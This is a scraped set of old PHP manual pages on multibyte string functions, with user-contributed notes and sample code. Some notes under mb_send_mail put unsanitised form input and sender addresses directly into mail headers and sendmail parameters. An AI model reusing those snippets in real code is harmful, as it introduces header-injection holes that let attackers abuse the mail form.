    [31] => eucJP-win
    [32] => SJIS-win
    [33] => JIS
    [34] => ISO-2022-JP
    [35] => Windows-1252
    [36] => ISO-8859-1
    [37] => ISO-8859-2
    [38] => ISO-8859-3
    [39] => ISO-8859-4
    [40] => ISO-8859-5
    [41] => ISO-8859-6
    [42] => ISO-8859-7
    [43] => ISO-8859-8
    [44] => ISO-8859-9
    [45] => ISO-8859-10
    [46] => ISO-8859-13
    [47] => ISO-8859-14
    [48] => ISO-8859-15
    [49] => EUC-CN
    [50] => CP936
    [51] => HZ
    [52] => EUC-TW
    [53] => BIG-5
    [54] => EUC-KR
    [55] => UHC
    [56] => ISO-2022-KR
    [57] => Windows-1251
    [58] => CP866
    [59] => KOI8-R
)

User Contributed Notes

There are no user contributed notes for this page.
mb_language
mb_output_handler
Multibyte String Functions


Callback function converts character encoding in output buffer

mb_list_encodings
mb_parse_str
Multibyte String Functions
PHP Manual

mb_output_handler

(PHP 4 >= 4.0.6, PHP 5)

mb_output_handler — Callback function converts character encoding in output buffer

Description

string mb_output_handler ( string $contents , int $status )

mb_output_handler() is
ob_start() callback
function. mb_output_handler() converts
characters in the output buffer from internal character encoding to
HTTP output character encoding.

Parameters

contents

The contents of the output buffer.

status

The status of the output buffer.

Return Values

The converted string.

Changelog

Version Description
4.1.0

This handler now adds the charset HTTP header when the following conditions are met:

  • Does not set Content-Type, using header().
  • The default MIME type begins with text/.
  • The mbstring.http_input setting is something other than pass.

Examples

Example #1 mb_output_handler() example

<?php
mb_http_output("UTF-8");
ob_start("mb_output_handler");
?>

Notes

Note:

If you want to output some binary data such as image from PHP script with PHP 4.3.0 or later, Content-Type: header must be send using header() before any binary data was send to client (e.g. header("Content-Type: image/png")). If Content-Type: header was send, output character encoding conversion will not be performed.

Note that if 'Content-Type: text/*' was send using header(), the sending data is regarded as text, encoding conversion will be performed using character encoding settings.

If you want to output some binary data such as image from PHP script with PHP 4.2.x or earlier, you must set output encoding to "pass" using mb_http_output().

See Also

  • ob_start() - Turn on output buffering

User Contributed Notes

There are no user contributed notes for this page.
mb_list_encodings
mb_parse_str
Multibyte String Functions


Parse GET/POST/COOKIE data and set global variable

mb_output_handler
mb_preferred_mime_name
Multibyte String Functions
PHP Manual

mb_parse_str

(PHP 4 >= 4.0.6, PHP 5)

mb_parse_str — Parse GET/POST/COOKIE data and set global variable

Description

bool mb_parse_str ( string $encoded_string [, array &$result ] )

Parses GET/POST/COOKIE data and sets global variables. Since PHP does not provide raw POST/COOKIE data, it can only be used for GET data for now. It parses URL encoded data, detects encoding, converts coding to internal encoding and set values to the result array or global variables.

Parameters

encoded_string

The URL encoded data.

result

An array containing decoded and character encoded converted values.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mb_detect_order() - Set/Get character encoding detection order
  • mb_internal_encoding() - Set/Get internal character encoding

User Contributed Notes

There are no user contributed notes for this page.
mb_output_handler
mb_preferred_mime_name
Multibyte String Functions


Get MIME charset string

mb_parse_str
mb_regex_encoding
Multibyte String Functions
PHP Manual

mb_preferred_mime_name

(PHP 4 >= 4.0.6, PHP 5)

mb_preferred_mime_name — Get MIME charset string

Description

string mb_preferred_mime_name ( string $encoding )

Get a MIME charset string for a specific encoding.

Parameters

encoding

The encoding being checked.

Return Values

The MIME charset string for character encoding encoding.

Examples

Example #1 mb_preferred_mime_name() example

<?php
$outputenc = "sjis-win";
mb_http_output($outputenc);
ob_start("mb_output_handler");
header("Content-Type: text/html; charset=" . mb_preferred_mime_name($outputenc));
?>

User Contributed Notes

There are no user contributed notes for this page.
mb_parse_str
mb_regex_encoding
Multibyte String Functions


Returns current encoding for multibyte regex as string

mb_preferred_mime_name
mb_regex_set_options
Multibyte String Functions
PHP Manual

mb_regex_encoding

(PHP 4 >= 4.2.0, PHP 5)

mb_regex_encoding — Returns current encoding for multibyte regex as string

Description

mixed mb_regex_encoding ([ string $encoding ] )

Returns the current encoding for a multibyte regex as a string.

Parameters

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

Returns the character encoding used by multibyte regex functions.

See Also

  • mb_internal_encoding() - Set/Get internal character encoding
  • mb_ereg() - Regular expression match with multibyte support

User Contributed Notes

php dot net at phor dot net 31-Aug-2010 01:40
Beware, mb_regex_encoding does not support the same set of encodings as listed in mb_list_encodings.php

Example:

<?php
mb_internal_encoding('CP936');
mb_regex_encoding('CP936'); # this line produces an error
 ?>
Anonymous 28-Jun-2009 10:07
To change algo the regex_encodign
<?php
echo "current mb_internal_encoding: ".mb_internal_encoding()."<br />";
echo "changing mb_internal_encoding to UTF-8<br />";
mb_internal_encoding("UTF-8");
echo "new mb_internal_encoding: ".mb_internal_encoding()."<br />";

echo "current mb_regex_encoding: ".mb_regex_encoding()."<br />";
echo "changing mb_regex_encoding to UTF-8<br />";
mb_regex_encoding('UTF-8');
echo "new mb_regex_encoding: ".mb_regex_encoding()."<br />";
?>
zl at zl dot hu 29-May-2009 06:05
Return values vary in setting and getting:

<?php
  echo mb_regex_encoding();
  // returns encoding name as a string
?>

<?php
  echo mb_regex_encoding("UTF-8");
  // returns true (success) of false as a boolean
?>
/me 02-Feb-2008 06:30
Note, that the regex encoding is only set to the initial internal character encoding. If you change the internal encoding in your script with mb_internal_encoding() the regex encoding does not change. For example:

<?php
echo "current mb_internal_encoding: ".mb_internal_encoding()."<br />";
echo "current mb_regex_encoding: ".mb_regex_encoding()."<br />";
echo "changing mb_internal_encoding to UTF-8<br />";
mb_internal_encoding("UTF-8");
echo "new mb_internal_encoding: ".mb_internal_encoding()."<br />";
echo "new mb_regex_encoding: ".mb_regex_encoding()."<br />";
?>

This code might output (depending on your initial internal character encoding):

current mb_internal_encoding: ISO-8859-1
current mb_regex_encoding: ISO-8859-1
changing mb_internal_encoding to UTF-8
new mb_internal_encoding: UTF-8
new mb_regex_encoding: ISO-8859-1

Furthermore the sentence "The default value is the internal character encoding." in the documentation might be misleading because the initial default value of the regex encoding is meant, and not the default value for the optional encoding parameter.
mb_preferred_mime_name
mb_regex_set_options
Multibyte String Functions


Set/Get the default options for mbregex functions

mb_regex_encoding
mb_send_mail
Multibyte String Functions
PHP Manual

mb_regex_set_options

(PHP 4 >= 4.3.0, PHP 5)

mb_regex_set_options — Set/Get the default options for mbregex functions

Description

string mb_regex_set_options ([ string $options = "msr" ] )

Sets the default options described by options for multibyte regex functions.

Parameters

options

The options to set. This is a a string where each character is an option. To set a mode, the mode character must be the last one set, however there can only be set one mode but multiple options.

Regex options
Option | Meaning
i | Ambiguity match on
x | Enables extended pattern form
m | '.' matches with newlines
s | '^' -> '\A', '$' -> '\Z'
p | Same as both the m and s options
l | Finds longest matches
n | Ignores empty matches
e | eval() resulting code
Regex syntax modes
Mode | Meaning
j | Java (Sun java.util.regex)
u | GNU regex
g | grep
c | Emacs
r | Ruby
z | Perl
b | POSIX Basic regex
d | POSIX Extended regex

Return Values

The previous options. If options is omitted, it returns the string that describes the current options.

See Also

  • mb_split() - Split multibyte string using regular expression
  • mb_ereg() - Regular expression match with multibyte support
  • mb_eregi() - Regular expression match ignoring case with multibyte support

User Contributed Notes

indeyets at php dot net 27-Nov-2009 02:58
It's a bit trickier, than patryk wrote:

There are parameters (you can specify several of these at the same time):

'i': ONIG_OPTION_IGNORECASE;
'x': ONIG_OPTION_EXTEND;
'm': ONIG_OPTION_MULTILINE;
's': ONIG_OPTION_SINGLELINE;
'p': ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE;
'l': ONIG_OPTION_FIND_LONGEST;
'n': ONIG_OPTION_FIND_NOT_EMPTY;
'e': eval() resulting code

And there are "modes" (if you specify several of these, the LAST one will be used):
'j': ONIG_SYNTAX_JAVA;
'u': ONIG_SYNTAX_GNU_REGEX;
'g': ONIG_SYNTAX_GREP;
'c': ONIG_SYNTAX_EMACS;
'r': ONIG_SYNTAX_RUBY;
'z': ONIG_SYNTAX_PERL;
'b': ONIG_SYNTAX_POSIX_BASIC;
'd': ONIG_SYNTAX_POSIX_EXTENDED;

You can find descriptions of these constants here: http://www.geocities.jp/kosako3/oniguruma/doc/API.txt
patryk dot szczyglowski at gmail dot com 12-Dec-2008 10:12
Supported options are:

i - ONIG_OPTION_IGNORECASE
x - ONIG_OPTION_EXTEND
m - ONIG_OPTION_MULTILINE
s - ONIG_OPTION_SINGLELINE
p - ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE
l - ONIG_OPTION_FIND_LONGEST
n - ONIG_OPTION_FIND_NOT_EMPTY
j - ONIG_SYNTAX_JAVA
u - ONIG_SYNTAX_GNU_REGEX
g - ONIG_SYNTAX_GREP
c - ONIG_SYNTAX_EMACS
r - ONIG_SYNTAX_RUBY
z - ONIG_SYNTAX_PERL
b - ONIG_SYNTAX_POSIX_BASIC
d - ONIG_SYNTAX_POSIX_EXTENDED
e - eval() resulting code

Constants above are from Oniguruma regexp library, which is used internally. Default value for PHP 5.2.x is 'pr'.
mb_regex_encoding
mb_send_mail
Multibyte String Functions


Send encoded mail

mb_regex_set_options
mb_split
Multibyte String Functions
PHP Manual

mb_send_mail

(PHP 4 >= 4.0.6, PHP 5)

mb_send_mail — Send encoded mail

Description

bool mb_send_mail ( string $to , string $subject , string $message [, string $additional_headers = NULL [, string $additional_parameter = NULL ]] )

Sends email. Headers and messages are converted and encoded according to the mb_language() setting. It's a wrapper function for mail(), so see also mail() for details.

Parameters

to

The mail addresses being sent to. Multiple recipients may be specified by putting a comma between each address in to. This parameter is not automatically encoded.

subject

The subject of the mail.

message

The message of the mail.

additional_headers

additional_headers is inserted at the end of the header. This is typically used to add extra headers. Multiple extra headers are separated with a newline ("\n").

additional_parameter

additional_parameter is a MTA command line parameter. It is useful when setting the correct Return-Path header when using sendmail.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.0.0 | The Content-Type and Content-Transfer-Encoding headers may be redefined as of PHP 5.0.0. Before this time, the values defined by mb_language() are always used.

See Also

  • mail() - Send mail
  • mb_encode_mimeheader() - Encode string for MIME header
  • mb_language() - Set/Get current language

User Contributed Notes

Anonymous 20-Jan-2010 03:20
If you have problem using mb_send_mail to send utf-8 mails, you have to know the following things (I've spent hours on the net before finding the correct php code) :

- You have to use the mb_encode_mimeheader function on the sender name and on the recipient name (on names, not on emails !).
- Subject and message are automatically encoded.
- Add - at least - the following header :

$headers = "Mime-Version: 1.0\n";
$headers .= "Content-Type: text/plain;charset=UTF-8\n";
$headers .= "From: $sender";

- Last but not least, beware of the internal encoding, which is needed by mb_encode_mimeheader function in order to encode properly. I had to set the internal encoding to UTF-8 in order to make it work properly :

mb_internal_encoding("UTF-8");
Sohel Taslim 18-Sep-2007 11:00
Easy and simple....
Send an email with Japanese contain.

<?php

/**
     * @name                    : sendMail
     * @author Taslim Mazumder Sohel
     * @mailsohel62@yahoo.com
     * Function for sending email
     *with Japanese Email Body, Subject, Sender Name.
     *
     * @param String $to               : Receiver mail address.
     * @param String $subject          : email subject.
     * @param int    $body            : mail body text.
     * @param array  $from_email    : Sender mail address.
     * @param array  $from_name      : Sender Name.
     *
     */
function sendMail($to, $subject, $body, $from_email,$from_name)
 {
$headers  = "MIME-Version: 1.0 \n" ;
$headers .= "From: " .
       "".mb_encode_mimeheader (mb_convert_encoding($from_name,"ISO-2022-JP","AUTO")) ."" .
       "<".$from_email."> \n";
$headers .= "Reply-To: " .
       "".mb_encode_mimeheader (mb_convert_encoding($from_name,"ISO-2022-JP","AUTO")) ."" .
       "<".$from_email."> \n";

$headers .= "Content-Type: text/plain;charset=ISO-2022-JP \n";

/* Convert body to same encoding as stated
in Content-Type header above */

$body = mb_convert_encoding($body, "ISO-2022-JP","AUTO");

/* Mail, optional paramiters. */
$sendmail_params  = "-f$from_email";

mb_language("ja");
$subject = mb_convert_encoding($subject, "ISO-2022-JP","AUTO");
$subject = mb_encode_mimeheader($subject);

$result = mail($to, $subject, $body, $headers, $sendmail_params);

return $result;
}

?>
noting@nowhere 19-Apr-2007 05:44
Yes, as far as I understood the function encodes the entrire message body with base64 and that's why it can be used to send messages with attachments.
30-Jan-2007 04:53
Be careful, mb_send_mail chokes if you try and send a multipart e-mail.
bredfern at calarts dot edu 22-Jun-2004 03:07
Make sure that if you're using a form to type in the mail, that your form page has the right encoding, like if I want to send out a japanese email, by filling out a form, the form page needs this in the header:
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=SHIFT-JIS">
dynamis at skillup dot jp 29-Aug-2003 06:35
# self-fix...
I posted "encode_mimeheader" workaround on the day before. But I found that the code depends on platforms. :(

In some platforms, hedders(after the header splited into two or more lines) will appear in the body content.
The cause is that 'there are some platforms where the translation from \n to \r\n is apparently done for you'.
# See the post by "leon at ietsmet dot nl" about mail function (23-Apr-2003).

Now, all you have to do is just changing the glue string from "\r\n " to "\n ".

function encode_mimeheader($str, $indent = 0, $encoding = 'utf-8', $mail_encoding = 'iso-2022-jp')
{
         ..... lefted out (all same).....
  $str = join("\r\n ", $lines); // RFC 2047,822 say newline must be ^\r\n, not only\n
  return $str;
}

should be below in some platform...

function encode_mimeheader($str, $indent = 0, $encoding = 'utf-8', $mail_encoding = 'iso-2022-jp')
{
         ..... lefted out (all same).....
  $str = join("\n ", $lines);
  // Though RFC 2047,822 say newline must be \r\n, not only \n,
  // in my platform, auto replacement will be done (accepts \n and \n\r\n -> \n\n)...
  return $str;
}

# notice: In both code, 1 space after newline is essential (gule str is *not* only "\r\n" nor "\n").
# This space is ignored only between encoded-words.

    c.f. about efficiency

Thinking about efficiency, my encode_mimeheader may have to determine where to split string into lines without mb_encode_mimeheader in the determining loop. But that loop will be repeated only one or a few times and this function  will be usually used against not so long string. So, this loss is not critical in most case.
If you use only one encoding, you can easily check ascii or multi-byte char one by one accoding to the definition of the encoding and determining splitting point (this is far faster), but when you have to handle all encoding that is not so easy. At least, I don't want to touch. :p
To accept *any* encoding (encoding name will be passed as argument), you can use this code. This is because I post non-efficient code like this.
# Though I'm not sure whether the code actually work well with all encoding...
dynamis at skillup dot jp 19-Jul-2003 04:50
As others say, mb_encode_mimeheader() seems to have a bug with JIS(ISO-2022-JP) encording. Token indicating start and end of multibyte char is inserted only before start of encoding and after the all.
We need the tokens at start and end of *all* encoded-text.
# PHP 4.3.2

So, we needs some workaround.

The post by "gordon at kanazawa-gu dot ac dot jp" seems to work well, but it doesn't. JIS nees some special tokens and base64_encode does'nt output them, so the code cannot used.

The post "RE: N03L in Japan", which simply splitting words in eash 10 chars is good enough in most case, there are some problem left. When there are some splited parts starting with ascii chars, 1 additional space will be inserted.
# RFC2047 only say within 76 words, shorter is not bad.

Additionally, thought it is really rare case, when we use "=?charset?" as literal string, we have to escape them.
# Some mailer can actually send this without escape and header will be broken. :(

Now, a little non-smart but maybe more accurate code is below function. I tested only with ISO-2022-JP, only in costomized phpBB2.0.5, only some cases.
As far as my test this code worked well, but I'm not sure.

# $str: source text
# $indent: ex. for "Subject: " header, give 9 and first line will be shorter than 76-1-9=66
# $encoding: source text encoding
# $mail_encoding: $str will be converted into this before base64 encode

function encode_mimeheader($str, $indent = 0, $encoding = 'utf-8', $mail_encoding = 'iso-2022-jp')
{
  $start_delimiter = strtoupper("=?$mail_encoding?B?");
  $start_pattern   = strtoupper("=\\?$mail_encoding\\?B\\?");
  $end_delimiter   = '?=';

  $str = mb_convert_encoding($str, $mail_encoding, $encoding);
  $length  = mb_strlen($str, $mail_encoding);
  $max_part_length = 20; // enough short in most case (you can change this default value)

  for ($i=0, $index=0; $index<$length; $i++) {
    $part_length = $max_part_length;
    $s = mb_substr($str, $index, $part_length, $mail_encoding);
    // workaround for literally used start delimiter (without below, subject may break)
    // note: mb_encode_mimeheader() don't encode ascii including start delimiter
    if (preg_match('/^' . $start_pattern . '/i', $s))
    {
      $lines[$i] = $start_delimiter . base64_encode($start_delimiter) . "?=";
      $index += strlen($start_delimiter);
      continue;
    }

    $lines[$i] = mb_encode_mimeheader($s, $mail_encoding);
    while (strlen($lines[$i]) > 76-1 - ($i?0:$indent)) { // max par line - first space - indent (first line only)
      $part_length = floor($part_length * (76-1 - ($i?0:$indent)) / strlen($lines[$i])); // at least 1 decrement
      $s = mb_substr($str, $index, $part_length, $mail_encoding);
      $lines[$i] = mb_encode_mimeheader($s, $mail_encoding);
    }

    // workaround for starting new line with ascii (without below, 1 space may cut in)
    // note: mb_encode_mimeheader() starts encode after encounterring multibyte char
    if ($i > 0 && !preg_match('/^' . $start_pattern . '/i', $lines[$i]))
    {
      $p = strpos($lines[$i], $start_delimiter); //never 0 (false when not found)
      $p = $p ? $p : strlen($lines[$i]);
      $lines[$i] = $start_delimiter . base64_encode(substr($lines[$i], 0, $p)) . "?=";
      $part_length = $p;
    }
    $index += $part_length;
  }
  $str = join("\r\n ", $lines); // RFC 2047,822 say newline must be ^\r\n, not only\n
  return $str;
}
RE: N03L in Japan 22-May-2003 02:01
I have to use Japanese hankaku (single byte kana in (S)JIS) in mail subject and message,
so I tried the way that NO3L in Japan said, but I found there's a big problem.
In that way, mb_encode_mimeheader drop escape sequence from the head of encoded string from second line.
if you use long letter in subject, and if it includes multi byte string, It must crashed.
Therefore, if you want to use Japanese hankaku in mail subject, you might try like this.
Encoded subject letters in one line is not just 76 letters, so it is not based on RFC, but it work.

$intSubjectLength  = mb_strlen($strSubject);
$intSeparateLength = 10;
for ($i=0; $i<ceil($intSubjectLength / $intSeparateLength); $i++) {
    $arrSeparatedSubject[$i] = mb_substr($strSubject, $intIndex, $intSeparateLength);
    $arrSeparatedSubject[$i] = mb_encode_mimeheader(mb_convert_encoding($arrSeparatedSubject[$i], "JIS", "EUC-JP"));
    $intIndex = $intIndex + $intSeparateLength;
}
$strSubject = join("\n ", $arrSeparatedSubject);
Ran Hamada ( rhamada at sdcj dot co dot jp ) 08-Apr-2003 09:24
You may not use mb_encode_mimeheader() with mb_convert_encoding() to make subject as follows. It causes mojibake in several strings.
mb_encode_mimeheader( mb_convert_encoding($strMailSubj, "JIS", "EUC-JP") )

Set mb_internal_encoding() to *subject's* encoding and call mb_encode_mimeheader.

Example)

    $__lang = mb_language();
    $__enc = mb_internal_encoding();
    mb_language("Japanese");
    mb_internal_encoding( mb_detect_encoding($subject) );
    #mb_internal_encoding( "EUC-JP" ); #just do when you know encoding of $subject
    mail($to,
        mb_encode_mimeheader($subject),
        mb_convert_encoding($msg,"JIS","AUTO"),$header);
    mb_internal_encoding( $__enc );
    mb_language($__lang);
phpguru at hotmail dot com 26-Feb-2003 11:29
There is another way of encoding Japanese language to send email without worrying about mb_functions:

Download PHP Jcode from http://www.spencernetwork.org/
and use JcodeConvert function with base64_encode function for the e-mail header and the subject.

$email_to = "blah@blah.com";

$_POST["name"] = strip_tags(trim($_POST["name"]));
$name = "=?ISO-2022-JP?B?". base64_encode(JcodeConvert($_POST["name"], 2, 3)). "?=";
$_POST["email"] = strip_tags(trim($_POST["email"]));
$_POST["subject"] = strip_tags(trim($_POST["subject"]));
$email_subject = "=?ISO-2022-JP?B?". base64_encode(JcodeConvert($_POST["subject"], 2, 3)). "?=";
$_POST["body"] = strip_tags(trim($_POST["body"]));

$email_header = "From: $name <". $_POST["email"] .">\n";
$email_header .= "Reply-To: ". $_POST["email"] ."\n";
$email_header .= "Content-transfer-encoding: 7bit\n";
$email_header .= "Content-type: text/plain; charset=\"iso-2022-jp\"\n\n";

$email_body = "blah blah blah.\n"

mail($email_to, $email_subject, $email_body, $email_header);
N03L in Japan 23-Feb-2003 09:29
First of all, don't use nl2br in newer php versions unless you WANT to write xhtml...you'll get <br /> tags.

Secondly, you should use JIS, not ISO-2022-JP as the convert TO encoding.  If you use ISO... mb_encode_mimeheader seems to fail. They're the same charset anyway.

Now here's why I am really writing.  I just discovered that mb_send_mail and mb_encode_mimeheader cannot support hankaku (single byte kana in (S)JIS) at all.  If you are making apps for the keitai (mobile) market, this won't do.  Therefore, undo your overloading on the mail function and use regular mail and convert everything yourself like this.  This is what we did.  It seems to work for us.  Your mileage may vary.

$strMBS = mb_convert_encoding($strMailBodySend, "JIS", "EUC-JP");

$strMS  = mb_encode_mimeheader( mb_convert_encoding($strMailSubj, "JIS", "EUC-JP") );

mail($strToMail, $strMS, $strMBS, $strFrom);
jc AT mega-bucks DOT co DOT jp 05-Feb-2003 12:58
I was trying to send japanese email and had a hell of a time getting it to work. I finally stumbled across mb_send_mail() and it did everything I wanted *except* that it only send plain text emails ... sending HTML contents was impossible.

I finally whipped this up. I'm posting in case someone finds it useful.

function send_japanese_mail($to, $subject, $body, $from, $from_email, $is_html_content=false) {

   $headers  = "MIME-Version: 1.0\\n" ;
   $headers .= "From: $from <$from_email>\\n";
   $headers .= "Reply-To: $from <$from_email>\\n";

  /* If the body  is HTML or plain text set the Content-Type header accordingly */

   if ($is_html_content) {
     $headers .= "Content-Type: text/html;charset=ISO-2022-JP\\n";
     /* turn all line breaks into BR tags */
     $body = nl2br($body);
   }
     else {
     $headers .= "Content-Type: text/plain;charset=ISO-2022-JP\\n";
   }

  /* need to convert body to same encoding as stated in Content-Type header above */

  $body = mb_convert_encoding($body, "ISO-2022-JP","AUTO");

  /* set any sendmail params, optional ... */
  $sendmail_params  = "-f$from_email";

  /*
   The subject is actually a "header" and can/will get mangled
   if it contains non-ASCII characters. So we need to convert
   the subject to something containing only ASCII characters.

   First we convert the subject to the same encoding as the
   body, then we use mb_encode_mimeheader() to make the subject
   line all ASCII characters.
  */

   mb_language("ja");
   $subject = mb_convert_encoding($subject, "ISO-2022-JP","AUTO");
   $subject = mb_encode_mimeheader($subject);

   mail($to, $subject, $body, $headers, $sendmail_params);
}
gordon at kanazawa-gu dot ac dot jp 28-Dec-2002 06:07
If your server doesn't have mb_send_mail() enabled but you want to use non-ascii (multi-byte) chars in an email's subject or name headers, you can use something like the following:

$charset = "iso-2202-jp"; // japanese
$to = encode("japanese name 01", $charset) . " <to@email.com>";
$from = encode("japanese name 02", $charset) . " <from@email.com>";
$subject = encode("japanese text", $charset);
$message = "does not need to be encoded";
mail($to, $subject, $message, $from);

function encode($in_str, $charset) {
    $out_str = $in_str;
    if ($out_str && $charset) {

        // define start delimimter, end delimiter and spacer
        $end = "?=";
        $start = "=?" . $charset . "?B?";
        $spacer = $end . "\r\n " . $start;

        // determine length of encoded text within chunks
        // and ensure length is even
        $length = 75 - strlen($start) - strlen($end);
        $length = floor($length/2) * 2;

        // encode the string and split it into chunks
        // with spacers after each chunk
        $out_str = base64_encode($out_str);
        $out_str = chunk_split($out_str, $length, $spacer);

        // remove trailing spacer and
        // add start and end delimiters
        $spacer = preg_quote($spacer);
        $out_str = preg_replace("/" . $spacer . "$/", "", $out_str);
        $out_str = $start . $out_str . $end;
    }
    return $out_str;
}
// for details on Message Header Extensions
// for Non-ASCII Text see ...
// http://www.faqs.org/rfcs/rfc2047.html
no dot email dot address at example dot com 14-Sep-2002 03:53
Tested with PHP 4.2.2 on Linux: Please note that if you're using Unicode (mb_language("uni")) and you attempt to send mail with mb_send_mail(), you will need to base64_encode() the message body - mb_send_mail() doesn't do that for you. It does, however, issue the correct message headers, so you don't need to worry about that.

Also note that neither mb_language() nor mb_send_mail() is able to convert your message to UTF-8. *You* need to provide the UTF-8-encoded (and base64-encoded) message, and then mb_send_mail() will issue the correct message headers.

Here's an example of sending an UTF-8-encoded message with mb_send_mail():

mb_language("uni");
$body = chunk_split(base64_encode("International characters"));
mb_send_mail("someone@example.com", "Subject", $body);

If the receiving mail client supports UTF-8 properly, you will be able to send messages that contain a mix of all kinds of characters (e.g., you could send Thai, Chinese, and Danish characters in the same message). Not all mail clients support UTF-8, though. At the time of writing, some of the more popular Windows email clients - Eudora and Pegasus Mail - don't. There are a number of email clients with working support for UTF-8. These include Outlook Express, KMail, Mozilla, Netscape 6/7, Sylpheed, Evolution and others.
mb_regex_set_options
mb_split
Multibyte String Functions


Split multibyte string using regular expression

mb_send_mail
mb_strcut
Multibyte String Functions
PHP Manual

mb_split

(PHP 4 >= 4.2.0, PHP 5)

mb_split — Split multibyte string using regular expression

Description

array mb_split ( string $pattern , string $string [, int $limit = -1 ] )

Split a multibyte string using regular expression pattern and returns the result as an array.

Parameters

pattern

The regular expression pattern.

string

The string being split.

limit
If optional parameter limit is specified, it will be split in limit elements as maximum.

Return Values

The result as an array.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Returns current encoding for multibyte regex as string
  • mb_ereg() - Regular expression match with multibyte support

User Contributed Notes

boukeversteegh at gmail dot com 14-Apr-2011 01:23
The $pattern argument doesn't use /pattern/ delimiters, unlike other regex functions such as preg_match.

<?php
   # Works. No slashes around the /pattern/
   print_r( mb_split("\s", "hello world") );
   Array (
      [0] => hello
      [1] => world
   )

   # Doesn't work:
   print_r( mb_split("/\s/", "hello world") );
   Array (
      [0] => hello world
   )
?>
boukeversteegh at gmail dot com 10-Sep-2010 09:43
In addition to Sezer Yalcin's tip.

This function splits a multibyte string into an array of characters. Comparable to str_split().

<?php
function mb_str_split( $string ) {
    # Split at all position not after the start: ^
    # and not before the end: $
    return preg_split('/(?<!^)(?!$)/u', $string );
}

$string   = '火车票';
$charlist = mb_str_split( $string );

print_r( $charlist );
?>

# Prints:
Array
(
    [0] => 火
    [1] => 车
    [2] => 票
)
qdb at kukmara dot ru 25-Mar-2010 02:46
an other way to str_split multibyte string:
<?php
$s='әӘөүҗңһ';

//$temp_s=iconv('UTF-8','UTF-16',$s);
$temp_s=mb_convert_encoding($s,'UTF-16','UTF-8');
$temp_a=str_split($temp_s,4);
$temp_a_len=count($temp_a);
for($i=0;$i<$temp_a_len;$i++){
    //$temp_a[$i]=iconv('UTF-16','UTF-8',$temp_a[$i]);
    $temp_a[$i]=mb_convert_encoding($temp_a[$i],'UTF-8','UTF-16');
}

echo('<pre>');
print_r($temp_a);
echo('</pre>');

//also possible to directly use UTF-16:
define('SLS',mb_convert_encoding('/','UTF-16'));
$temp_s=mb_convert_encoding($s,'UTF-16','UTF-8');
$temp_a=str_split($temp_s,4);
$temp_s=implode(SLS,$temp_a);
$temp_s=mb_convert_encoding($temp_s,'UTF-8','UTF-16');
echo($temp_s);
?>
gert dot matern at web dot de 03-Aug-2009 03:34
We are talking about Multi Byte ( e.g. UTF-8) strings here, so preg_split will fail for the following string:

'Weiße Rosen sind nicht grün!'

And because I didn't find a regex to simulate a str_split I optimized the first solution from adjwilli a bit:

<?php
$string = 'Weiße Rosen sind nicht grün!'
$stop   = mb_strlen( $string);
$result = array();

for( $idx = 0; $idx < $stop; $idx++)
{
   $result[] = mb_substr( $string, $idx, 1);
}
?>

Here is an example with adjwilli's function:

<?php
mb_internal_encoding( 'UTF-8');
mb_regex_encoding( 'UTF-8');

function mbStringToArray
( $string
)
{
  $stop   = mb_strlen( $string);
  $result = array();

  for( $idx = 0; $idx < $stop; $idx++)
  {
     $result[] = mb_substr( $string, $idx, 1);
  }

  return $result;
}

echo '<pre>', PHP_EOL,
print_r( mbStringToArray( 'Weiße Rosen sind nicht grün!', true)), PHP_EOL,
'</pre>';
?>

Let me know [by personal email], if someone found a regex to simulate a str_split with mb_split.
Sezer Yalcin 18-Feb-2009 05:13
To split by mb letters, use preg_split with /u modifier instead of calling mb functions thousand times.
adjwilli at yahoo dot com 26-Dec-2007 09:37
I figure most people will want a simple way to break-up a multibyte string into its individual characters. Here's a function I'm using to do that. Change UTF-8 to your chosen encoding method.

<?php
function mbStringToArray ($string) {
    $strlen = mb_strlen($string);
    while ($strlen) {
        $array[] = mb_substr($string,0,1,"UTF-8");
        $string = mb_substr($string,1,$strlen,"UTF-8");
        $strlen = mb_strlen($string);
    }
    return $array;
}
?>
mb_send_mail
mb_strcut
Multibyte String Functions


Get part of string

mb_split
mb_strimwidth
Multibyte String Functions
PHP Manual

mb_strcut

(PHP 4 >= 4.0.6, PHP 5)

mb_strcut — Get part of string

Description

string mb_strcut ( string $str , int $start [, int $length [, string $encoding ]] )

mb_strcut() extracts a substring from a string similarly to mb_substr(), but operates on bytes instead of characters. If the cut position happens to be between two bytes of a multi-byte character, the cut is performed starting from the first byte of that character. This is also the difference to the substr() function, which would simply cut the string between the bytes and thus result in a malformed byte sequence.

Parameters

str

The string being cut.

start

Starting position in bytes.

length

Length in bytes.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

mb_strcut() returns the portion of str specified by the start and length parameters.

See Also

  • mb_substr() - Get part of string
  • mb_internal_encoding() - Set/Get internal character encoding

User Contributed Notes

php_engineer_bk at yahoo dot com 08-Oct-2010 03:52
function cut_sense($matne_harf, $l_harf ,$return=1 ) {
if ( strlen($matne_harf) > $l_harf){
$end='...';
}else{
$end='';
}
    if ( function_exists('mb_strcut') ){
        $matne_harf = mb_strcut ( $matne_harf, 0 , $l_harf , "UTF-8" );
    }else{
        $matne_harf =substr($matne_harf, 0, $l_harf);
    }
$text=''.$matne_harf.''.$end.'';
  if ( $return == 1){
  return $text;
  }else{
  print $text;
  }
}

Iranian php programmer (farhad zand +989383015266)
egoalesum at IHATEBOTS dot youarchive dot it 21-May-2009 09:07
I found this function to be extremely useful.

Here is a practical example, showing the difference between substr(), mb_substr() and mb_strcut():

<?php
mb_internal_encoding('UTF-8');
$string = 'cioèòà';
var_dump(
substr($string, 0, 6),
mb_substr($string, 0, 6),
mb_strcut($string, 0, 6)
);
?>

Output:
string(6) "cioè?"
string(9) "cioèòà"
string(5) "cioè"

Explanation:
$string is long 9 bytes
c - 1 byte
i - 1 byte
o - 1 byte
è - 2 bytes
ò - 2 bytes
à - 2 bytes

substr() works with bytes, so it returns a string which is exactly 6 bytes long. Thus, it truncates the ò character.
mb_substr(), instead, works with characters, so it returns a string which is exactly 6 characters long (but in this case is 9 bytes long).
